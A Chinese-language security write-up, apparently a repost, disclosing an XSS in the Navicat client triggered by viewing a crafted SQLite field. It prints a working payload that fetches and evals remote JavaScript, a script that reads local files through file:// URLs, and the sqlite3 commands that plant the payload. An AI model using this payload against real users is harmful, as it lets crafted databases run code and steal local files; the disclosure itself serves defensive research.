zoukankan      html  css  js  c++  java
  • 看不见的攻击面:查看 SQLite 数据库就中招?

    Navicat 客户端存在一个 XSS,在查看表字段时,没有对内容进行处理,导致一个 XSS 问题。利用这个漏洞可以读取敏感文件,比如 /Users/XXXX/.bash_history 。

    漏洞发现

    这两天在测试一个漏洞数据库,这个漏洞库集成了 packetstormsecurity、exploitdb 等知名来源的数据。当我们用 navicat 打开,查看某个字段的时候,奇怪的事情发生了,居然有 Javascript 弹窗提示?
    7be3be554d294d0c98dc59b8ae070e49.png

    通过搜索 prompt 关键词,很快定位到了问题
    e1119c73e34c40238f8b6b7429a33773.png

    所以,navicat 在渲染数据库字段时,莫名其妙的执行了代码中的 Javascript。

    漏洞测试

    为了方便调试客户端 XSS,我们编写一个最小的 “requirejs” 利用代码。这段代码会远程加载 127.0.0.1/test.js 并执行

    http://localhost/x#<svg/onload='function reqListener(){eval(this.responseText);}var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "http://127.0.0.1/test.js?_="+new Date());oReq.send();'>
    
    

    下面编写 test.js,以读取沙箱外面的文件为例(注意替换 Users/USERNAME/.vimrc 为你要读取的文件)

    function reqListener () {
      prompt(this.responseText);
    }
    
    var oReq = new XMLHttpRequest();
    oReq.addEventListener("load", reqListener);
    oReq.open("GET", "file:///Users/USERNAME/.vimrc");
    oReq.send();
    
    

    然后来创建 SQLite 数据库,并用 Navicat 打开

    %> sqlite3 test.db
    SQLite version 3.19.3 2017-06-27 16:48:08
    Enter ".help" for usage hints.
    sqlite> create table test(id text);
    sqlite> insert into test values('http://localhost/x#<svg/onload=''function reqListener(){eval(this.responseText);}var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "http://127.0.0.1/test.js?_="+new Date());oReq.send();''>');
    
    

    经过测试,利用这个漏洞读取用户文件、内网代理、访问开发机上的 redis 等等都是可以的,具有一定的危害
    c4164a5675dd4119abcce63176571a18.png

    测试环境下载

    笔者制作了一个最小的测试库 “navicat-clientxss-test.db”,在这里下载:https://rasp.baidu.com/download/

    转自:http://www.3xmq.com/article/1514942883329?r=woshipm&from=timeline

  • 相关阅读:
    初涉线性基
    Codechef December Challenge 2018 Division 2
    【贪心】bzoj1592: [Usaco2008 Feb]Making the Grade 路面修整
    请求库之requests
    爬虫基本原理
    Flask-SQLAlchemy
    虚拟环境
    自定义验证规则以及中间件简单介绍
    Form组件归类
    分页与中间件
  • 原文地址:https://www.cnblogs.com/lyl6796910/p/8182814.html
Copyright © 2011-2022 走看看